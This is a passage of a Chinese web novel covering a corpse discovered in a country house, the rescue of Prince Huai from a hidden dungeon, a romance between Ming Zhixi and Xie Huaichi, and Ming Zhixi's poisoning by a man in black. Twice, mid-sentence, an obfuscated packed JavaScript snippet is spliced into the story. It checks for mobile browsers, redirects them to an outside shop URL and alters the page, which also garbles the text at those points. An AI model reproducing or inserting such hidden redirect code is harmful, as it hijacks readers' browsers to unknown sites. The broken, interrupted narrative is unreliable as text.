明枝溪缓缓翻身上马,骑在马上一言不发,老金头注意到了她那红彤彤的脸颊,忍不住地再次摇头,紧接着对着谢槐池道:“我不会骑马。” “什么?你会武功不会骑马?”谢槐池不相信的质问。 老金头傲娇的撅起嘴道:“什么态度,会武功就一定要会骑马?” 说着他翻身上了谢槐池的马背上,百无聊赖的抽旱烟道:“先出城门,再左拐走个几里地便到了。” 谢槐池无奈的转头看着他,向着城门骑去,明枝溪紧随其后,脸依旧红润,显然还没缓过神来。 —————— 三人不久后便来到了郊外的宅子,孤零零的宅子毫无生机,周围死一般的寂静,正当三人下马向里走去时,霎时间三人同时闻到了浓厚的血腥味。 三人互相对视,默不作声向里冲去,推开门,一群苍蝇向外飞去,明枝溪被这突如其来的场景恶心的向后退了几步,腐烂的气息充斥着鼻腔。 明枝溪伸出手挥了挥,用袖子遮挡住口鼻,这才向里走去,王德才躺在地上,已然腐烂了,想来死去多时。 谢槐池强忍着酸臭味儿走进去,俯下身观察着,不久后疾步跑出,大口呼吸着新鲜空气:“死去起码四天了,死因是剑伤,一把剑贯穿了他胸部。” 明枝溪观察着周五与王德才死去时的动作,接着补充:“应该是他信任的人,他可能是正要外出,没想到对方会给自己来一剑。” 老金头看着两人这个样子缓缓说道:“你们两个瓜娃子还是太年轻,这点味儿就受不了了,进去搜查一下吧。” 明枝溪紧紧蹙着眉,缓步向里走去问老金:“你不觉得臭?” 谢槐池学着明枝溪的样子,用广袖遮住口鼻跟着走进去,虽然是遮住了,但这气味穿透力极强,顺着衣袖往鼻腔里钻。 老金头摇摇头道:“老夫还见过更惨烈的,这算得了什么。” 明枝溪在心中猜测着老金头的身份,目光打量着周围,她朝着书桌走去,桌旁放着一个火炉,里面留着一些残破的信件,明枝溪伸出手拿起。 仔细看着上面留下的几个字,这更加深了她的猜测,开口道:“这王德才也是死得其所,与契丹人勾结,通敌叛国,没诛他九族都不错了。” 老金头疑惑问:“通敌叛国?” “嗯,王德才在樊楼的信件藏得极好,想必杀死王德才那人也不知王德才早有戒备之心。”明枝溪解释道。 谢槐池打量周围,思索着道:“那淮王嫌疑很大,据我所知王德才进京赶考时遇上淮王,随后淮王又出钱又出力,结果什么都没捞着,为了报答淮王便留在他身边做一届莽夫。” “而且他是孤儿,就算诛他九族也无从寻起。” 明枝溪冷冷地笑着,眼神看向书架,密密麻麻整整齐齐的书架上却有一本格外显眼,因为它是凹下去的,明枝溪泛着疑惑,手探过去轻轻摁下。 忽然脚下的地板松动起来,明枝溪尖叫出声后掉落进去,谢槐池急忙转头,看着底下漆黑一片的洞口,不假思索的跟着跳下。 老金头站在洞口,无奈的摇着头,向里喊道:“你们俩没事吧?” 没有回应,老金头打量洞口周围,发现了一条绳索,他将绳索放下,缓慢下降。 明枝溪坐在地上,吃痛出声,抚摸着自己的腰部掏出腰间的火折子道:“还好带了这个。” 她刚吹燃火折子,上方就有一个身影落下,明枝溪抬头看去,慌忙躲闪着,又摔了一个屁股蹲,火折子也随即熄灭。 “枝溪!你在哪?”谢槐池稳稳站住,向着黑暗的空间喊道。 明枝溪再次吹燃火折子,谢槐池看向亮光走来,打量了一圈问:“有没有哪里受伤?” 明枝溪笑着摇摇头道:“我没事。” 周围一片漆黑,明枝溪沿着四周走着,忽的摸到了一条冰凉的杆子,老金头缓慢下降,站稳后也掏出火折子,向着明枝溪那儿走去。 一同照亮后,两人目瞪口呆,诧异的看向地牢深处的一处白色身影。 谢槐池由远处探索,见两人不动,缓缓走去,正要开口询问,瞳孔猛的一缩。 里头的人,她们三个再熟悉不过... 24. 第24章 小修罗场吃大醋 红橙色的烛光照亮了眼前奄奄一息的人,他侧躺在地上,身体一吸一呼间起伏着,洁白的衣裳染着血色。 明枝溪彻底呆愣住,不出一会儿回神喊道:“淮王殿下!你还活着吗?” 老金头环顾四周,拿着火折子摸索着墙壁,终于将整个地牢点亮,露出它原本的面貌。 四周墙壁上沾满褐黑色的鲜血,想来是陈年血渍,关着赵康时的牢房对面还有一间,不知是给谁准备的。 赵康时手脚上都戴着镣铐,明枝溪喊他时略微抽动了一下,随后又一点动静也没有。 谢槐池默不作声,眸子里一片漆黑对着里头喊:“喂!你死了吗?死了吱个声。” 赵康时这回是彻底不动弹了,老金头缓缓走进来问:“死了怎么吱声?” 谢槐池冲着里头翻了个白眼,也没有反驳。 明枝溪看着面前的锁说道:“钥匙可能在上面,我去找?” 赵康时再次抽动起来,明枝溪话音刚落便又死一般沉寂。 老金头看着眼前的一幕好似知道谢槐池为何言语激动了,他不信邪的喊着赵康时:“淮王殿下?我是老金呐,你还记得我吗?” 赵康时一动不动,老金头无语凝噎,转身走向洞口道:“我上去找钥匙。” 谢槐池冷笑一声对着老金道:“干脆别救了,就当我们没看到,让他在这里自生自灭吧。” 话音刚落赵康时剧烈抽动起来,明枝溪见状喊道:“赵康时!你醒醒,快醒过来!不然我们真不管你了。” 一阵剧烈的咳嗽声传来,赵康时扶着地砖缓缓起身,吐出一口乌黑的血,嘴角的一滴血珠缓缓滑落,他缓慢转过身看向明枝溪。 谢槐池:...... 老金头:...... “明姑娘...”赵康时眼中含着泪看向明枝溪,“你来救我了吗?” 谢槐池朝着他再次翻了个白眼,没好气道:“你眼瞎吗?” 明枝溪:....... 赵康时似乎没有想到对方会这样说,微微愣神后缓和道:“我没瞎,只是你们又没有明姑娘那么急切,况且一个老头,一个男的,一个美女子,我还是分得清的。” 谢槐池眼神更加晦暗,尖酸刻薄的语气简直是要溢出来:“哦,我看淮王殿下伤的也没这么重嘛,还有心情打趣,想来也是不用救,自己能搞定的。” 明枝溪窘迫的劝说着,手停在半空比划着:“好了,你们两人莫要在这吵了,有什么恩怨情仇的我们上去再说。” 老金头看着上方的绳索,摇了摇头道:“你们三个小年轻还要我这个老头去救。” 老金头摸索着拽住绳索,猛地爬了上去,这身手哪里像个老头,简直是正当壮年的年轻小伙。 明枝溪见两人之间的关系没有那么剑拔弩张,才开口问道:“淮王殿下,从前的事情我也想起来了,我们少时确实认识,所以事到如今我也不用在你面前装贤良了。” “你究竟和王德才是什么关系?为什么会被关在这儿?王德才通敌叛国之事你是否知晓?” 赵康时双目眯起一瞬,随后又舒展开,缓和了神情解释着:“我与王德才本就是友人关系。” 不待他继续说下去,谢槐池冷声打断道:“我可听说了,王德才与你的关系可没这么简单,他不是为了报恩才跟在你身边吗?” “还记得有一次宫宴,来的都是权臣,谁都没带护卫,唯独你还带着他参加,事发突然,一名刺客想要取你性命,他舍命护你,险些丢掉一条命,这叫友人关系?” 赵康时眼神望向谢槐池,紧促着眉,随后语气依旧满不在意道:“哦?不想谢世子居然对那场宫宴如此上心,我记得这事儿皇兄已然解决,不往外传播的才对。” “不知谢世子从哪处听来的?” 谢槐池眉头一扬,语气更加冷了几分:“你管我哪儿听来的,照实回答,否则别怪我们让你在此自生自灭。” “好好好,你就不怕我出去找皇兄治你的罪?”赵康时不再装,眼眸中似乎闪着亮光,冷睨谢槐池一眼。 “你有种你就...” 谢槐池刚想反驳,明枝溪默默站在两人中间,挡住双方道:“你们再吵谁都别想出去了,我一把火把那绳子烧了,我们一起在这自生自灭吧。” 谢槐池继续反着白眼,扭过头看向一旁,不再搭理赵康时,只是身形往前走了走,几乎与明枝溪背贴着背。 明枝溪倒是也不讨厌谢槐池这般,接着说道:“你继续。” “我某天发觉他与契丹人有联系,便询问他此事,他与我再三保证绝无通敌之事,可我渐渐发现不对劲,我不想他走入泥潭,所以常找他出来玩,转移他的注意。” “前几日我不论如何喊他,他始终拒绝,于是我上门查看,谁知刚走进屋内便被人打晕,关在此处,原是一日送一趟吃食,可后来渐渐便无了。” “我为了保留体力只好装死,后来来了一个黑衣男子,身材高大,我猜测是契丹人,他说话带着一种说不上来的感觉,官话很蹩脚。” “那日他告诉我,他并无杀我,如若是我福大命大会有人来救我,如若是无人便只好等死,我问他王德才究竟干了什么,他也只字不提,他只告诉我王德才永远不会再干了。” 赵康时原本稳重的音调中,带上了颤抖,有些惋惜道:“王德才是不是已经死了?” 明枝溪听完默不作声,美眸向下看去,长睫耷拉在那儿。 老金头由上方缓缓滑下,不明情况道:“钥匙我找到了,赶紧离开这儿吧,再待一会儿我都怕中尸毒。” 谢槐池抬起头看向老金头,眼眸中仿佛写着‘干的好!’。 老金头疑惑地看了看他,问道:“怎么了?你站在这儿做什么?” 赵康时眼神晦暗一瞬,他垂下头,双目紧闭,失落道:“是吗..已经死了吗。” 老金头好似意识到了自己说错话了,连忙打着圆场:“好了,气氛太沉重了,说真的要不晚些来我小店里吃点?” 明枝溪正想答应,可脑中忽的浮现出王德才的惨样,猛地摇摇头道:“我可以陪你们,但是吃可能不行。” “为啥?”老金头疑惑问。 明枝溪思考一瞬,暗自腹诽:总不能说是人家友人的尸体给我恶心到了吧,有点不礼貌,算了说我没胃口吧。 正欲开口,谢槐池便抢先道:“看见了不该看见的东西,没胃口。” 嗯..很隐晦的在说恶心,明枝溪心想道,眼神不自觉的向着赵康时望去。 赵康时并没有言语,只是落寞的坐在那儿一言不发。 明枝溪转身接过老金头的钥匙,上前打开了牢房门锁,在打开赵康时手上的锁时,钥匙好似卡住了,怎么都打不开。 明枝溪的指尖在赵康时的手背上划过,赵康时顿时耳根泛红,撇过头去,不再看向明枝溪。 谢槐池察觉到了这一点,手盘放在腹前,板着张脸走上前:“我来吧,你力气小。” 明枝溪点点头让开了身位,赵康时不舍地望向她,手腕处传来疼痛,他蹙着眉,用只有谢槐池能听见的声音,低语道:“怎么了谢世子?公报私仇吗?你有没与她成婚,还不许她碰到我了,怨夫!” 谢槐池没有被影响,眉间似乎更加紧锁了些,手上动作粗鲁,力气逐渐变大,像是要将赵康时的手生生掰断一般。 赵康时发出凄厉的惨叫,眼神求助望向明枝溪,一脸委屈样。 明枝溪微微叹气,走向前,正欲帮忙时,老金头走了过来道:“我来吧,你们俩一边去。” 谢槐池听了这才松开手,一脸不乐意地甩在一边,向后走去,拉起明枝溪的手走出牢房门。 赵康时挑起眉看着两人离开,老金头手巧妙的很,一瞬间便打开了,一脸无语的看向外头站着的两人,继续开着锁。 “你也喜欢明姑娘?”老金头忍不住问,声音极小,外头定是听不见。 “怎么你也喜欢啊?”赵康时反问道。 “......我更多的是把她当闺女,倒是你们这些年轻小伙子,温柔贤淑的不要,非要娶个深藏不露的。”老金头手上的动作慢了些。 “怎么?我觉着她比外头那些女子都有意思,既不会像那些娇柔小女娘那般惺惺作态,也能很好地保持本心,不会随波逐流。”赵康时说这话时,眼神不断凝视着明枝溪。 明枝溪好似感受到后面的视线,正想转过头确认,谢槐池昂首挺胸挡在前方,挡住了明枝溪的视线,自然也挡住了赵康时的视线。 赵康时无奈地叹气,对着老金头小声吐槽:“我看那谢世子与怨夫没什么区别,两人本就没成亲,我们各追求各的,谁也不打扰谁,不是更好吗。” 老金头摇着头轻叹:“事情没这么简单哦~我看那两人感情比你深厚。” 赵康时撇撇嘴:“就算如此谁是最终赢家还不知道呢。” “哎呀你别动,你这个镣铐锈了不好开!”老金头一巴掌拍在赵康时的腿上。 赵康时老实坐着一动不动,终于是打开了,他站起身活动活动道:“走吧。” 明枝溪探出脑袋望去,被谢槐池拽住头扯回来道:“别看了,走了。” 四个人挨个拽着绳索向上攀去,赵康时刚一落脚,鼻腔涌入腐烂的气味,顿时翻江倒海准备呕吐,只是他的肚子空空如也,到最终也没吐出来什么。 赵康时捂着口鼻窘迫道:“我知道为什么你们这么说了...” 老金头依旧觉着没什么,跃过尸首向外走去:“你们还是不行得练啊。” 屋里的三人走向外边,贪婪地呼吸新鲜空气,赵康时忽的道:“老金头,你身手不凡啊,不是跛子吗?” 老金头回避着赵康时的眼神,挠了挠头道:“走吧,别在这里呆着了。” 赵康时点点头,看向面前的两匹马问:“两匹马怎么走?不如...” 谢槐池拉着明枝溪上了马,俯视两人道:“我们先走了,你们请 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17567721|204825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便,记得还马,我可是小气的很。” 最后一句话谢槐池故意拖长尾音,刻薄十足。 他的力气大的吓人,明枝溪好几次试图挣脱都无济于事,只好任由他这么做,明枝溪无奈的对马下的两人说:“保重啊,我们先走了,改天再聊!” 话音未落,谢槐池早已扯过缰绳飞驰而去,只留下明枝溪的尾音。 老金头:... 赵康时不服气地捡起地上的石子道:“什么人嘛!你会骑马不?” 老金头拼命摇着头,赵康时无奈道:“走吧,我载你。” —————— 开国侯府外,谢槐池下马后一路拉着明枝溪向里走去,大门外的小厮看得目瞪口呆,迟迟未曾行礼,目送两人进去。 明枝溪用力挣脱着,谢槐池却猛的停下脚步,一把拉过对方。 明枝溪猝不及防,直直倒进了谢槐池的怀里,两人在众目睽睽之下紧紧挨着。 周围的婢女与小厮都正在洒扫,看见眼前的一幕默默停下手中的活,眼神全都看向腻歪的两人。 明枝溪察觉了视线,想要起身,一抬头便看见了谢槐池那双野心十足的黑眸正直勾勾盯着自己,顿时老实了,不敢再挣扎。 谢槐池一把将打横抱起,走向后院,明枝溪将脸埋在他的锁骨处,不敢看向外头,想不出会是什么刺激的场景。 谢槐池一脚踹开门,将明枝溪轻放在床上,盯着她看了几秒后转身关门。 明枝溪有些慌张了,悄咪咪地想翻窗逃跑,手刚扒上窗沿,身后一道幽怨的声音响起:“你要去哪里?。” 明枝溪猛地转身,谢槐池正站在她身后,见她转身挑了挑眉,一言不发,似乎是在等一个解释。 “哥哥,那个..我太闷了透透气,想来是方才尸气闻多了,有点反胃。”明枝溪缓缓露出一个僵硬的笑,“要不我们去外头聊天吧!透透气,透透气!” 谢槐池再次挑眉,不再言语,明枝溪还以为他同意了,小心翼翼的向外走去,忽然谢槐池拉住她的手,冷声道:“我没有同意。” 明枝溪:? 谢槐池扯着明枝溪到床边,明枝溪顺势坐下,抬头看向谢槐池可怜巴巴道:“哥哥,我是很想和你..但是我们还是各自冷静下!你跟我说说怎么了好不好。” 谢槐池歪着头看她:“你说呢?” “因为赵康时吗?我只是出于好意,不是故意的,况且我真的对他没有那方面想法。”明枝溪红着脸解释道。 “嗯..没想法,那你对我有想法吗?”谢槐池用平静的语气说出令人不平静的话语。 明枝溪羞涩地苦着脸,将脸转过一边去,小声呢喃道:“...有想法又怎么样。” 谢槐池强势地伸出手捏着明枝溪的下巴,两人四目相对,气氛中多了些暧昧,谢槐池语气黏腻道:“你在怕什么?” 明枝溪低垂下眼,修长的睫毛轻轻颤动着,暗自腹诽:我怕你啊怕什么.. 紧接着,明枝溪便感受到冰凉的薄唇,她瞪大双眼不可置信看着谢槐池,他将明枝溪扑倒在床,贪婪掠夺着一切。 谢槐池好似感受到明枝溪灼热的视线,将手轻轻覆盖上去,缠绵交错,屋子里有些闷热,明枝溪并没有反抗,任由谢槐池发泄着。 不久后明枝溪额角上浸出汗珠,氧气正在被掠夺着,睫毛不停擦过谢槐池的手掌心,他停下来了,只是手迟迟没有拿开。 明枝溪缓缓伸出手将那只温热的手拿下,紧紧握住道:“怎么样?气消了吗?不要生气了,生气会变老的。” 谢槐池冷静了些,身形不动,就这样看着明枝溪,不久后忽的开口问:“你爱我吗?” 明枝溪顿了一下,紧接着微微笑起来,身体小幅度晃动着:“哥哥,我敢对天发誓,我爱你,我若是有一句欺瞒便叫我五雷轰顶,永世不得超生。” 谢槐池摇摇头:“我不要,你就算以后不爱我了,我也不希望你永不得超生。” “但是我一直爱你呀。”明枝溪笑着打岔。 “你怎么证明?”谢槐池有点闹小孩子脾气,眉间向上扬起,抿着嘴。 “这样,我回去呢便与我父亲母亲说清楚了,你呢准备准备,下聘礼吧。”明枝溪眼睛弯弯,轻笑着看向谢槐池那双琥珀色的眼眸。 谢槐池瞳孔微微晃动着,良久才道:“你不希望我当官了?” “官什么时候不能当?先成亲又不是不行。”明枝溪双手环抱住谢槐池的脖子,“我现在不想跟你不清不楚了,我想跟你光明正大。” 窗外的夕阳姹紫嫣红,仿佛朵朵鲜花在天空之上绽放开,池塘中的鱼儿交错游着,成群结队的鸟儿在天空盘旋。 街上行走的众人纷纷停下脚步,看向天空,不知谁带头大喊了句:“是吉兆啊!是吉兆啊!” 谢槐池听了这话,脸上才带起笑,俯下身再次亲吻明枝溪,这次不像上次那般凶猛强烈,而是蜻蜓点水的一吻。 “等我娶你。” 25. 第25章 黑衣人 明枝溪听得脸一红,有些羞耻地低下头,双手捂住自己的脸。 谢槐池作势将脸凑上去,两人贴得极近,能感受到对方的鼻息扑打在脸颊上。 “好了哥哥,我们聊点正事吧,不要闹了。”明枝溪将谢槐池往后推了推,坐直身体。 “好,你说,我听着。”谢槐池嘴角向上扬起,有些宠溺般陪着明枝溪坐下。 “你一会儿写一封家书,让谢将军注意些,莫要被一些情报所分心,一定要在边关留充足的人手。”明枝溪正色道。 “好,我一会儿送你出去就写。”谢槐池思考片刻后,继续道,“你让明丞相也注意些,我觉得事情没有这么简单,为什么幕后之人要这么干?” “如果是为了权利,地位,他这么干就已经失败了,将自己的国土送给契丹,愚蠢。”谢槐池眉心蹙了蹙,随即又恢复正常。 明枝溪手指托住下巴,也开始沉思,片刻后道:“嗯,是个疑点,我也想不出为什么这么做,可能契丹人给了他一些无法拒绝的诱惑?” 天色黑沉,晚霞也渐渐褪去,这究竟是吉兆还是凶兆无人知晓,街上人群被官兵驱赶,纷纷散去。 谢槐池将明枝溪送出府后,王老太太缓缓走来:“今日之事我听说了,你有些心急了。” 谢槐池转过身微微欠身:“我其他的可以不要,但她一定是我的,也只能是我的,祖母我要下聘。” 王老太太似乎早已知晓这个回答,默默点点头:“东西我都准备好了,明日便去丞相府提亲下聘吧,你以后做事不要这么急躁了。” 最后几句话没有了沉稳,反倒是严肃的叮嘱,谢槐池点点头:“嗯,我知道了,祖母我扶您去休息吧。” —————— 明枝溪走在回家的路上,没了谢槐池的陪伴显得有些枯燥,一个诡异人影由前方一闪而过,明枝溪警觉地停下脚步,四处张望着。 街道上的行人比往日更多了,可能都觉得世道太平了,明枝溪目光锁定在一条羊肠小道,她缓步靠近,侧身向里望了望。 黑影似乎感受到了她的存在,一跃而起跳上了屋檐,明枝溪蹙眉,紧紧跟上,刚走进小道,冰冷的刀锋便抵在她的脖颈。 明枝溪略微扬起头,声音平静并无慌乱:“你是谁?鬼鬼祟祟在这里做什么?” 那黑衣人停顿了片刻,似乎靠近了些,明枝溪感受到背后传来的暖意,十分滚烫的身躯,心里正疑惑,那人开口。 “你跟着我还问我这么多问题?”那人声音磁性无比,勾人心魄,让人觉着他的面貌也许也不差。 可明枝溪并未被蛊惑,语气坚韧地问:“我哪有跟踪你,分明是你在偷窥我,现在还拿刀挟持我。” “哦?”那人的声线围绕在耳边,似乎贴得很近,明枝溪感受到了一阵风吹向她的耳朵,不由得向边上偏了一下。 锋利的刀轻轻划开了她的脖颈,留下了一道细微的印记,那人用手指轻抚着伤口,继续开口:“明枝溪。” 明枝溪心头一紧,脑中飞快闪过几个问题,不禁开口问:“你为什么知道我的名字?你调查我?” “很聪明的小羔羊,不要急,以后我们会见面的。”那人贴着她的耳廓,吐息让明枝溪的耳朵一阵发痒。 正准备再次开口询问,脖颈处传来重击,明枝溪虽然强撑着自己的意识,却还是功亏一篑,昏迷之际,她眼神有些模糊,隐约看清那人的身材动作。 黑衣人的身材很好,不如说是非常强健,宽肩窄腰,站在那便让人觉着是无法挑战的存在,他嘴唇微动,竟然舔了一口指尖的血迹。 明枝溪想要挣扎,因为那人正在缓缓靠近,黑衣人微微蹲下,用手轻轻抚摸着她的双眼,明枝溪逐渐失去了意识。 —————— 再次醒来时,明枝溪躺在一处简陋万分的茅草屋内,一名胆小的女孩缓缓走进来问:“姐姐,你醒了吗?” 明枝溪觉着头有些痛,眼睛有些模糊,她试图让自己看得更清楚些,尝试了几次发现情况好像更糟糕了。 明枝溪嘴唇微动,嗓子有些干燥,使得声音有些沙哑:“我在哪?” “我家。”小女孩眨巴着水灵灵的大眼睛说道。 “你家?”本还能看清一些的明枝溪不知怎么了,失去了光明,两眼前一片漆黑,她强压着心中的恐惧与焦虑开口,“我在京城内吗?” “在的,你在我家。”小女孩稚嫩的声响穿过明枝溪的耳畔。 声音有些模糊起来,明枝溪察觉到了自己的不对劲,嗓子渐渐发不出来声响,她强撑着开口:“你拿着我腰间的玉佩,去..去开国侯府,找一个叫谢槐池的!” “呃,咳咳,呃。”明枝溪彻底说不出话了,心想着完了,也不知那小姑娘会不会去找。 腰间传来一阵触感,明枝溪知道了答案,耐心等待着。 不知过了多久,明枝溪感受到了面前好似站着一个人,她伸出手试图触碰,那人紧握她的手,将她的手放在自己的面庞上。 明枝溪仔细抚摸着,嗓子仍旧说不出话,咿咿呀呀的,但是明枝溪知道面前的人是谢槐池。 明枝溪感受到自己被抱起来了,手慌乱的摸着,最终手紧紧抓住谢槐池的衣领,将头埋进他的胸腔,熟悉的松木气味传进明枝溪的鼻腔。 明枝溪安心了一些,脑袋昏沉,明枝溪再次睡去。 —————— “枝溪!” 明枝溪好像听见了有人呼喊她,正疑惑时猛地睁开了双眼。 还是什么都看不见,好在明枝溪能听见了,她心中想着:是母亲的声音,有些颤抖,是在哭吗? 手缓缓抬起,胡乱摸索着,一只纤细柔软的手紧紧握住了她,明枝溪觉得心头闷闷的,眼泪呼之欲出。 嗓子咿咿呀呀的发出难听的声响,博英风心疼的抱紧了她,哭诉着:“你终于醒了,母亲,母亲以为你再也醒不过来了!你要是走了母亲也不活了,从前便对你不好,你现在走了母亲连补偿你的机会也没了。” 明枝溪停住了哭声,双手继续摸索着,放在了博英风的肩膀上,轻轻的拍了拍。 博英风拿出帕子擦拭着眼泪,不停的道:“知道了,母亲知道了,我不着急了。” 一名长相苍老的医官站在一旁,语气沉沉的:“老天保佑呐,能解了此毒当真是老天保佑呐!博夫人放心,老夫这就回去再研制其他解药。” 说着他提着药箱,跑了出去,明枝溪正想着,博英风却给了她答案,带着哭腔的道:“是太医院的医官,你父亲还在宫中,暂时还不能回来看你,你昏迷了很久。” “半年来我们一直以为你醒不过来了,你中的是奇毒,太医院也没有记载,只能慢慢研制解药。” 明枝溪理清了现在的情况,心中想着:是谁下毒?那日的黑衣人吗?我躺了半年?这不是成废人了吗?谢槐池呢?他还好吗? 明枝溪不知为何有些着急,咿咿呀呀的发出声响,找寻着博英风的手,博英风将手递过来。 明枝溪在她的手掌上一个字一个字艰难的写着:我遇到了黑衣人,是他下毒。 博英风解读着,随后蹙了眉追问道:“你可有看清他的长相?” 明枝溪继续写:并无,身材很好...身材很壮硕... 这样怎么写都显得我是贪图美色的人啊,明枝溪想着,心中叹气。 博英风并无觉得不妥继续追问:“还有吗?” 明枝溪摇摇头,继续写:是谁送我回来的? 沉默,空气与时间好像全部都静止了,明枝溪内心更加慌乱,手速极快的写着:谢槐池呢?为什么不说话?他去哪了? 博英风仍然没有开口,明枝溪有些崩溃,用力的在博英风手掌上写着:为什么不说话?告诉我!求求你了母亲。 “你那日昏迷后,是谢世子给你送回来的,并且还同你求亲,只是...”博英风语气有些纠结,双目下垂看着明枝溪。 明枝溪蹙着眉在博英风手掌上继续写:只是什么?他人呢? “我说出来了,你情绪不要太激动,医官说了要静养不宜情绪激动。”博英风语气沉重。 见明枝溪点了头,博英风接着说道:“谢大将军战死...” 明枝溪只觉得自己倒吸了一口凉气,已经到了十一月了,天气也逐渐变冷,明枝溪觉着自己的体温正在下降。 很显然,博英风也察觉到了,她有些着急的问:“枝溪,你没事吧,怎么手如此冰冷,别强撑着了,躺下吧。” 博英风缓缓将她扶下躺好,掖了掖被子:“你要是再激动,母亲也不敢说了。” 明枝溪有些愣住了,强烈的疑惑情绪将她包裹,脑中飞速运转着:为什么!不是已经通风报信了吗?怎么会,不对..都不对,一定有什么遗漏的,是黑衣人?他那时尚在京城,没道理能影响到,为什么? 问题如潮水般涌来,明枝溪只觉得心头一紧,一口瘀血喷涌而出,溅落在白净的被子上:“咳咳。” 明枝溪忽然觉着自己的嗓子好像没有那么堵了,原先闷闷的,现如今总觉着透彻了许多,小心翼翼开口道:“我,母亲。” 嗓音虽然有些沙哑,但是总比说不出话要强上不少,明枝溪立马询问道:“究竟发生了..咳咳,什么。” 博英风神情激动,站起身来拿了一碗药递给明枝溪:“快,先喝了这个。” 明枝溪接过药,刚递到嘴边,鼻腔便充斥着浓厚的苦涩味,但还是强忍着恶心喝尽了,经过水的滋润嗓子终于不再像锈迹斑斑的剪刀。 “母亲,这半年来究竟发生了什么?谢槐池呢?他还活着吗?”明枝溪开口问。 博英风轻叹,坐在床榻边,缓缓开口:“朝廷无可用之人,从前的将军的子嗣都已年幼,也不愿自己的孩子上那边关镇守,谢槐池主动请缨,前往边关迎敌。” “好在没发生其他的意外,如今已经稳定了,想必元宵之时便能回京。” 明枝溪点点头,不再多说什么,如今的朝堂是一块朽木,自从这位昏庸的太子上位后,便直线下滑。 无人愿意辅佐这位君王,也无人信仰他,明枝溪自然知晓,可总归是抱着一些期望,期望着民间所发生的一切能够打动这位君王,使他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17567722|204825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明智些。 可并不,这位君王只会贪图享乐,后宫佳丽三千,并不专注朝政。 脚步声在外头响起,十分急促。 “枝溪!你醒了?”明衢气喘吁吁的扶着门框,身后还跟着那位年迈的医官,他调整好呼吸后缓缓走来,语气更加心疼,“都是为父的过错。” 明枝溪疑惑不解,宽慰道:“不是父亲的错,父亲莫要自责了。” 那医官听明枝溪开口,眼神瞬间落在她的嗓子上,激动开口问:“明姑娘能说话了?如何办到的?” 明枝溪思考后开口:“淤血,我吐出了淤血,然后就好了。” “奇迹啊,奇迹!”那医官比明衢还要激动,径直冲上去把脉,随后面色忽的一沉。 明衢注意到了他的神情,担忧问道:“怎么了?是哪里不对吗?” 年迈医官缓缓开口:“倒也不是不对,就是……明姑娘体内的毒素正在快速瓦解,前所未闻呐。” “这不是好事吗...不对。”明衢反应迅速察觉到了不对,“今日之事还请苏大人莫要同外头说了,逢人问起便说小女体内的毒素得不到缓解。” 年迈医官擦着额头上刚冒出的汗水,心领神会道:“自然是,明大人客气了。” 说罢他起身颔首道:“那我便先走了,明姑娘不日便会痊愈。” 明衢点头,目送他离去,明枝溪自然也知晓明衢这做法的用意,开口道:“父亲是不是也觉得是那下毒之人故意为之?” “自然。”明衢走近了些,“世界之大,没什么办不到的。” “我也觉得,那日我遇到的黑衣人估计便是下毒之人,虽然我没看清他的长相,但是我觉得他是契丹人。”明枝溪分析道,“从身材上看便不像南朝人,可是为什么他不选择杀了我?” 博英风双眼瞪大,捂住明枝溪的嘴道:“呸呸呸,莫要说这种话。” 明枝溪点头,挪开了头解释道:“我只是假设,母亲莫要急,他要是担心我影响到他的计划,应该是直截了当的杀我,而不是给我下毒让我失去行动能力。” 明衢眼眸下垂,思索片刻后:“此事存疑,今日之事莫要向外说。” “嗯。”明枝溪躺在那儿,眼睛传来轻微的酸痛,“谢槐池..有写信回来吗?” 明衢无奈道:“有,每月都会寄回一封信,我们回信说你还并未苏醒。” 博英风紧接着说:“等你看得见了,自己回信吧,老实说,我们看这些信总觉得哪里不好,你们小年轻的事情自己去办。” “好,父亲母亲,谢谢你们没有放弃我。”明枝溪嘴角终于带上了笑,“我想见雪晴,她在吗?” 博英风含笑道:“你该叫嫂嫂!” “我才不叫她嫂嫂,她知道我醒了一定高兴,快去同她说。”明枝溪傲娇道。 明衢大笑道:“你看看你现在这样,真是越长大越小家子气。” “我去同她说去,你自己一个人待在院子里不要乱走,小心摔倒。”博英风拍了拍明枝溪的手背,站起来道。 “为父还有要务,先回书房了,有什么想吃的让下人过来同我说,我定给你买到。”明衢心情十分舒畅,连带话语都激动起来。 明枝溪笑着应付了几句,两人在屋内磨磨蹭蹭,终于是走了出去。 她略微挪了挪身体,果然不出她所料,只能稍微动动手,明枝溪沉默叹息。 沈雪晴的声响在外头响起,明枝溪下意识侧头看去,只听沈雪晴喊道:“枝溪!你醒了吗?枝溪。” “雪晴,你快来,我醒了,想同你聊聊天,实在是有些发慌。”明枝溪朝着外头喊道。 沈雪晴缓步走进屋内,坐在床榻边,一名老妈子跟在身后嘱咐着让她小心些。 “你终于醒了!你都要吓死我了,方才母亲来同我说你醒了,我险些摔了。”沈雪晴神采飞扬,手紧紧握住帕子,擦拭着眼角的泪。 “你瞧你激动的。”明枝溪伸出手,本想让她冷静些,却摸到了高高隆起的肚子,顿时喊道:“你有了?!” 沈雪晴虽然知道明枝溪看不见,但还是有些羞涩,缓缓开口道:“是啊,还有四月就生了。” 明枝溪一时间有些手足无措,不知如何开口,只得轻轻抚摸着沈雪晴的肚子,片刻后才开口问:“是新婚夜那次?” 